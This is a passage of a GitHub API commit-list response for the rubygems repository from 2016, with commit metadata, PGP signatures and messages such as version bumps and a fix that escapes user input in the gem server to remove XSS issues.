name","tree":{"sha":"d9376e5ec9ec0c438f9b0e9a6073275c9c3ae3e0","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/d9376e5ec9ec0c438f9b0e9a6073275c9c3ae3e0"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/dae248425e5b08e1cb8993f43333115e1b87ea1f","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/dae248425e5b08e1cb8993f43333115e1b87ea1f","html_url":"https://github.com/rubygems/rubygems/commit/dae248425e5b08e1cb8993f43333115e1b87ea1f","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/dae248425e5b08e1cb8993f43333115e1b87ea1f/comments","author":{"login":"segiddins","id":1946610,"node_id":"MDQ6VXNlcjE5NDY2MTA=","avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"committer":{"login":"segiddins","id":1946610,"node_id":"MDQ6VXNlcjE5NDY2MTA=","avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"parents":[{"sha":"6c6d268715d9b45aa78f328f842e231155f86438","url":"https://api.github.com/repos/rubygems/rubygems/commits/6c6d268715d9b45aa78f328f842e231155f86438","html_url":"https://github.com/rubygems/rubygems/commit/6c6d268715d9b45aa78f328f842e231155f86438"},{"sha":"4070f0732df95eb3b2526b24a54620b27246c2eb","url":"https://api.github.com/repos/rubygems/rubygems/commits/4070f0732df95eb3b2526b24a54620b27246c2eb","html_url":"https://github.com/rubygems/rubygems/commit/4070f0732df95eb3b2526b24a54620b27246c2eb"}]},{"sha":"2c5652e1b9244506cf6193ed9fd2b018acb9bd7a","node_id":"MDY6Q29tbWl0NjE0MDcwOjJjNTY1MmUxYjkyNDQ1MDZjZjYxOTNlZDlmZDJiMDE4YWNiOWJkN2E=","commit":{"author":{"name":"Samuel Giddins","email":"segiddins@segiddins.me","date":"2016-05-21T21:57:54Z"},"committer":{"name":"Samuel Giddins","email":"segiddins@segiddins.me","date":"2016-05-21T22:35:39Z"},"message":"Add TestGemInstaller#test_find_lib_file_after_install\n\nSee https://github.com/rubygems/rubygems/pull/1481#issuecomment-184466372 for original patch","tree":{"sha":"7bd5ef9e169a3d759940567bbb59b8c4c3a680ad","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/7bd5ef9e169a3d759940567bbb59b8c4c3a680ad"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/2c5652e1b9244506cf6193ed9fd2b018acb9bd7a","comment_count":0,"verification":{"verified":true,"reason":"valid","signature":"-----BEGIN PGP SIGNATURE-----\nVersion: GnuPG v1\n\niQIcBAABAgAGBQJXQOK7AAoJEAEZW7MV3ahWJWkP/1pWNW8VaE16j/rVL/UiKgaK\nEun4rxDU/E2qxAWg4lDmE9JNOgC8Bmnq2dbYeDmbO7tT2uFgsuz0/3TOeB9OZugT\nupuhYEpwFiDNM68Mr0DA3jYaQB4OW58UqD0sGViYBJXp8OnbDjatO/ol+cEqyhqO\nFEFq7D5gbJckllyrvzPI+aFd89bzq7Dep5TTMtB24bAJmyh5xhnlZbJ7jnj0EN7D\nIrlGwi5B7s04QoPJu4a6gj+SePVzmIb0OTAmzNjoSVwJJ0w8Bn3dOYfMoCkXLp5l\nBprW55CwoZItOuBTTVcQ/FbFZ/ocLCx8G2rdHDQbN2nZ4rCCzJELt1QeaVpb9Pc6\n5C1NnD1lSl1SFnJevPfDffdXXlsJK3o3XwPFKxW2e2BvVJgXbtK5jBR1hpk0s276\nHYa+JtH7R2ctsJZzqZwG3E7sv9ps4yIR6VYelOEeLqtjYoW1Gok0o2919airAJz6\nZf8G5T9UvUUfJ1jUPNk6LY4IAm7op4PendGizX9Mwu26dgG78kxY+SdhUV4KmNSN\npX1hP+Dg1d4mvpagOuuPtIvr5fdRBty5vqCb7LtEGe5oqj13UBHJGxS9Dqngavk2\nm0Qq2slLoIXcDtjXoimAeM6F01frQkwbtFgdgg4sLs2JfNpyMOTFSZlE3olviP3w\nt1ljPS78tQrw2lBhX35U\n=IzRq\n-----END PGP SIGNATURE-----","payload":"tree 7bd5ef9e169a3d759940567bbb59b8c4c3a680ad\nparent 39fe061ea3c7b652d907b4ff48b657c374164632\nauthor Samuel Giddins 1463867874 -0500\ncommitter Samuel Giddins 1463870139 -0500\n\nAdd TestGemInstaller#test_find_lib_file_after_install\n\nSee https://github.com/rubygems/rubygems/pull/1481#issuecomment-184466372 for original patch\n"}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/2c5652e1b9244506cf6193ed9fd2b018acb9bd7a","html_url":"https://github.com/rubygems/rubygems/commit/2c5652e1b9244506cf6193ed9fd2b018acb9bd7a","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/2c5652e1b9244506cf6193ed9fd2b018acb9bd7a/comments","author":{"login":"segiddins","id":1946610,"node_id":"MDQ6VXNlcjE5NDY2MTA=","avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"committer":{"login":"segiddins","id":1946610,"node_id":"MDQ6VXNlcjE5NDY2MTA=","avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"parents":[{"sha":"39fe061ea3c7b652d907b4ff48b657c374164632","url":"https://api.github.com/repos/rubygems/rubygems/commits/39fe061ea3c7b652d907b4ff48b657c374164632","html_url":"https://github.com/rubygems/rubygems/commit/39fe061ea3c7b652d907b4ff48b657c374164632"}]},{"sha":"238e88f8dbdd7aa152250eb12adcdbc214550533","node_id":"MDY6Q29tbWl0NjE0MDcwOjIzOGU4OGY4ZGJkZDdhYTE1MjI1MGViMTJhZGNkYmMyMTQ1NTA1MzM=","commit":{"author":{"name":"Samuel Giddins","email":"segiddins@segiddins.me","date":"2016-04-30T02:57:38Z"},"committer":{"name":"Samuel Giddins","email":"segiddins@segiddins.me","date":"2016-04-30T02:57:38Z"},"message":"Update vendored Molinillo to 0.4.5","tree":{"sha":"7a61cfea9ae34c46f9bccbf35c906f9b11439d01","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/7a61cfea9ae34c46f9bccbf35c906f9b11439d01"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/238e88f8dbdd7aa152250eb12adcdbc214550533","comment_count":0,"verification":{"verified":true,"reason":"valid","signature":"-----BEGIN PGP SIGNATURE-----\nVersion: GnuPG v1\n\niQIcBAABAgAGBQJXJB8iAAoJEAEZW7MV3ahWaGAP/jEZGGv4scPYPLrz8d4JuaSD\nX+Z5g7kDTGSDnyHuVAqbHalEWsZI2xU+qHLXohAxWAM9BeYKcVJvHCSbuRhozk3z\n5nzuXMNzwldZIp0x52Advj7ogyYzZkeya8jWnMFZNz+7euXf5ndFkDQwtmt9pgHq\nKWTMUlYG7Jp8FWEGCMAvcpvdjVBvN+otXGQFzKteMBBb2w+Br2IdDuBAVPWaqfZU\nijbte9/zgaAf09BBGVQ6sbpbAhXe6sDySOvKuZu4/TOLHV8FMfxTQRFCO739cPlo\nGYFZj++t8v/FzYVEnwtWflqXTwCBtHXenTkixGn3Vh51Zbdf3s6HLCIJdvzyU4PP\nQ/Dq1jewvekW3LfntNQ9rfksciZxqLErcUy8zHsdPU6UdQZy11gBwUGbXtHVn+rG\neHn8lU7H6GKwTJzZIPceB7aZUg02hUwXlY2krhw8iPPXIhSim43FQVKlrEJ0YIAV\nV1Wg+H7zscpE7UHc7Oee+xxbpnguZOSETYhosiZoISTlKyJ2fdPnNHSbIZVfX0n+\nP3a9Tz9kevWyITTy1FMlD5E44Nc7BPaY5rinLQI8kBy2s4llk0IyMPYDz+oDBxlZ\n9Pa+z/RHPvuMo0RpKUSryepYjVDat1oFrBKg20xKokcLEU1Ahd+bpjzktKowKLWo\nj8TII95tXKQJuxCEPndY\n=OSV+\n-----END PGP SIGNATURE-----","payload":"tree 7a61cfea9ae34c46f9bccbf35c906f9b11439d01\nparent 487dfed56e9b0ab27a5e293e60d1f4c544d8951b\nauthor Samuel Giddins 1461985058 -0500\ncommitter Samuel Giddins 1461985058 -0500\n\nUpdate vendored Molinillo to 0.4.5\n"}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/238e88f8dbdd7aa152250eb12adcdbc214550533","html_url":"https://github.com/rubygems/rubygems/commit/238e88f8dbdd7aa152250eb12adcdbc214550533","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/238e88f8dbdd7aa152250eb12adcdbc214550533/comments","author":{"login":"segiddins","id":1946610,"node_id":"MDQ6VXNlcjE5NDY2MTA=","avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"committer":{"login":"segiddins","id":1946610,"node_id":"MDQ6VXNlcjE5NDY2MTA=","avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"parents":[{"sha":"487dfed56e9b0ab27a5e293e60d1f4c544d8951b","url":"https://api.github.com/repos/rubygems/rubygems/commits/487dfed56e9b0ab27a5e293e60d1f4c544d8951b","html_url":"https://github.com/rubygems/rubygems/commit/487dfed56e9b0ab27a5e293e60d1f4c544d8951b"}]},{"sha":"9c1101160d1b7394a4acc96f0e183334d7346dfe","node_id":"MDY6Q29tbWl0NjE0MDcwOjljMTEwMTE2MGQxYjczOTRhNGFjYzk2ZjBlMTgzMzM0ZDczNDZkZmU=","commit":{"author":{"name":"Samuel Giddins","email":"segiddins@segiddins.me","date":"2016-04-27T00:27:27Z"},"committer":{"name":"Samuel Giddins","email":"segiddins@segiddins.me","date":"2016-04-27T00:27:27Z"},"message":"Version 2.6.4 with updated history","tree":{"sha":"b39d1458b2dabf6ead047e3563d62cd910e0810a","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/b39d1458b2dabf6ead047e3563d62cd910e0810a"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/9c1101160d1b7394a4acc96f0e183334d7346dfe","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/9c1101160d1b7394a4acc96f0e183334d7346dfe","html_url":"https://github.com/rubygems/rubygems/commit/9c1101160d1b7394a4acc96f0e183334d7346dfe","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/9c1101160d1b7394a4acc96f0e183334d7346dfe/comments","author":{"login":"segiddins","id":1946610,"node_id":"MDQ6VXNlcjE5NDY2MTA=","avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"committer":{"login":"segiddins","id":1946610,"node_id":"MDQ6VXNlcjE5NDY2MTA=","avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"parents":[{"sha":"99f5e9def41e51ce6835db337bc0619ac3995f9b","url":"https://api.github.com/repos/rubygems/rubygems/commits/99f5e9def41e51ce6835db337bc0619ac3995f9b","html_url":"https://github.com/rubygems/rubygems/commit/99f5e9def41e51ce6835db337bc0619ac3995f9b"}]},{"sha":"99f5e9def41e51ce6835db337bc0619ac3995f9b","node_id":"MDY6Q29tbWl0NjE0MDcwOjk5ZjVlOWRlZjQxZTUxY2U2ODM1ZGIzMzdiYzA2MTlhYzM5OTVmOWI=","commit":{"author":{"name":"Samuel Giddins","email":"segiddins@segiddins.me","date":"2016-04-27T00:21:45Z"},"committer":{"name":"Samuel Giddins","email":"segiddins@segiddins.me","date":"2016-04-27T00:21:45Z"},"message":"Merge branch ''seg-gem-server-xss''","tree":{"sha":"6883a035a1de59dec14ec3727767a5369df1ae7c","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/6883a035a1de59dec14ec3727767a5369df1ae7c"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/99f5e9def41e51ce6835db337bc0619ac3995f9b","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/99f5e9def41e51ce6835db337bc0619ac3995f9b","html_url":"https://github.com/rubygems/rubygems/commit/99f5e9def41e51ce6835db337bc0619ac3995f9b","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/99f5e9def41e51ce6835db337bc0619ac3995f9b/comments","author":{"login":"segiddins","id":1946610,"node_id":"MDQ6VXNlcjE5NDY2MTA=","avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"committer":{"login":"segiddins","id":1946610,"node_id":"MDQ6VXNlcjE5NDY2MTA=","avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"parents":[{"sha":"e76a8ddb1882998abe52d7396288195aee6ab3c9","url":"https://api.github.com/repos/rubygems/rubygems/commits/e76a8ddb1882998abe52d7396288195aee6ab3c9","html_url":"https://github.com/rubygems/rubygems/commit/e76a8ddb1882998abe52d7396288195aee6ab3c9"},{"sha":"a58d8933ee21919aad3a8b4c383cfa9f2da42d69","url":"https://api.github.com/repos/rubygems/rubygems/commits/a58d8933ee21919aad3a8b4c383cfa9f2da42d69","html_url":"https://github.com/rubygems/rubygems/commit/a58d8933ee21919aad3a8b4c383cfa9f2da42d69"}]},{"sha":"caed75a112c75b67ebff3e8e3887e6e389929ded","node_id":"MDY6Q29tbWl0NjE0MDcwOmNhZWQ3NWExMTJjNzViNjdlYmZmM2U4ZTM4ODdlNmUzODk5MjlkZWQ=","commit":{"author":{"name":"Samuel Giddins","email":"segiddins@segiddins.me","date":"2016-04-26T14:00:31Z"},"committer":{"name":"Samuel Giddins","email":"segiddins@segiddins.me","date":"2016-04-26T14:00:31Z"},"message":"[UserInteraction] Require gem/util since it is used by SilentUI","tree":{"sha":"f79e0a0704f66973845e45ea716320c662b335c6","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/f79e0a0704f66973845e45ea716320c662b335c6"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/caed75a112c75b67ebff3e8e3887e6e389929ded","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/caed75a112c75b67ebff3e8e3887e6e389929ded","html_url":"https://github.com/rubygems/rubygems/commit/caed75a112c75b67ebff3e8e3887e6e389929ded","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/caed75a112c75b67ebff3e8e3887e6e389929ded/comments","author":{"login":"segiddins","id":1946610,"node_id":"MDQ6VXNlcjE5NDY2MTA=","avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"committer":{"login":"segiddins","id":1946610,"node_id":"MDQ6VXNlcjE5NDY2MTA=","avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"parents":[{"sha":"fde7807847bf71cfad96c243fc7aeabb1e65dfd4","url":"https://api.github.com/repos/rubygems/rubygems/commits/fde7807847bf71cfad96c243fc7aeabb1e65dfd4","html_url":"https://github.com/rubygems/rubygems/commit/fde7807847bf71cfad96c243fc7aeabb1e65dfd4"}]},{"sha":"a58d8933ee21919aad3a8b4c383cfa9f2da42d69","node_id":"MDY6Q29tbWl0NjE0MDcwOmE1OGQ4OTMzZWUyMTkxOWFhZDNhOGI0YzM4M2NmYTlmMmRhNDJkNjk=","commit":{"author":{"name":"Samuel Giddins","email":"segiddins@segiddins.me","date":"2016-04-26T02:58:29Z"},"committer":{"name":"Samuel Giddins","email":"segiddins@segiddins.me","date":"2016-04-26T03:06:41Z"},"message":"[Server] Remove XSS vulnerabilities\n\n1) HTML escape user-supplied strings\n2) URL encode user-supplied URL substrings","tree":{"sha":"c30f54f9b99cc929d6fc28bf46cf0393f489920e","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/c30f54f9b99cc929d6fc28bf46cf0393f489920e"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/a58d8933ee21919aad3a8b4c383cfa9f2da42d69","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/a58d8933ee21919aad3a8b4c383cfa9f2da42d69","html_url":"https://github.com/rubygems/rubygems/commit/a58d8933ee21919aad3a8b4c383cfa9f2da42d69","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/a58d8933ee21919aad3a8b4c383cfa9f2da42d69/comments","author":{"login":"segiddins","id":1946610,"node_id":"MDQ6VXNlcjE5NDY2MTA=","avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"committer":{"login":"segiddins","id":1946610,"node_id":"MDQ6VXNlcjE5NDY2MTA=","avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"parents":[{"sha":"fde7807847bf71cfad96c243fc7aeabb1e65dfd4","url":"https://api.github.com/repos/rubygems/rubygems/commits/fde7807847bf71cfad96c243fc7aeabb1e65dfd4","html_url":"https://github.com/rubygems/rubygems/commit/fde7807847bf71cfad96c243fc7aeabb1e65dfd4"}]},{"sha":"d32a94848f50d6be448d862e43f074b820a1d3b6","node_id":"MDY6Q29tbWl0NjE0MDcwOmQzMmE5NDg0OGY1MGQ2YmU0NDhkODYyZTQzZjA3NGI4MjBhMWQzYjY=","commit":{"author":{"name":"Samuel Giddins","email":"segiddins@segiddins.me","date":"2016-04-05T01:44:31Z"},"committer":{"name":"Samuel Giddins","email":"segiddins@segiddins.me","date":"2016-04-05T01:48:11Z"},"message":"Version 2.6.3 with updated history","tree":{"sha":"e238c49ad9e7adf55fc1b20654686ccf7152f52d","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/e238c49ad9e7adf55fc1b20654686ccf7152f52d"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/d32a94848f50d6be448d862e43f074b820a1d3b6","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/d32a94848f50d6be448d862e43f074b820a1d3b6","html_url":"https://github.com/rubygems/rubygems/commit/d32a94848f50d6be448d862e43f074b820a1d3b6","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/d32a94848f50d6be448d862e43f074b820a1d3b6/comments","author":{"login":"segiddins","id":1946610,"node_id":"MDQ6VXNlcjE5NDY2MTA=","avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"committer":{"login":"segiddins","id":1946610,"node_id":"MDQ6VXNlcjE5NDY2MTA=","avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"parents":[{"sha":"18630a8350e4321cf99a3dcbf86dfb9d9e969bbd","url":"https://api.github.com/repos/rubygems/rubygems/commits/18630a8350e4321cf99a3dcbf86dfb9d9e969bbd","html_url":"https://github.com/rubygems/rubygems/commit/18630a8350e4321cf99a3dcbf86dfb9d9e969bbd"}]},{"sha":"18630a8350e4321cf99a3dcbf86dfb9d9e969bbd","node_id":"MDY6Q29tbWl0NjE0MDcwOjE4NjMwYTgzNTBlNDMyMWNmOTlhM2RjYmY4NmRmYjlkOWU5NjliYmQ=","commit":{"author":{"name":"Samuel Giddins","email":"segiddins@segiddins.me","date":"2016-04-05T01:47:08Z"},"committer":{"name":"Samuel Giddins","email":"segiddins@segiddins.me","date":"2016-04-05T01:48:11Z"},"message":"[Manifest] Update for ssl cert reorganization","tree":{"sha":"48553441ac990b87eb3712cbf935dd477d76289c","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/48553441ac990b87eb3712cbf935dd477d76289c"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/18630a8350e4321cf99a3dcbf86dfb9d9e969bbd","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/18630a8350e4321cf99a3dcbf86dfb9d9e969bbd","html_url":"https://github.com/rubygems/rubygems/commit/18630a8350e4321cf99a3dcbf86dfb9d9e969bbd","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/18630a8350e4321cf99a3dcbf86dfb9d9e969bbd/comments","author":{"login":"segiddins","id":1946610,"node_id":"MDQ6VXNlcjE5NDY2MTA=","avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/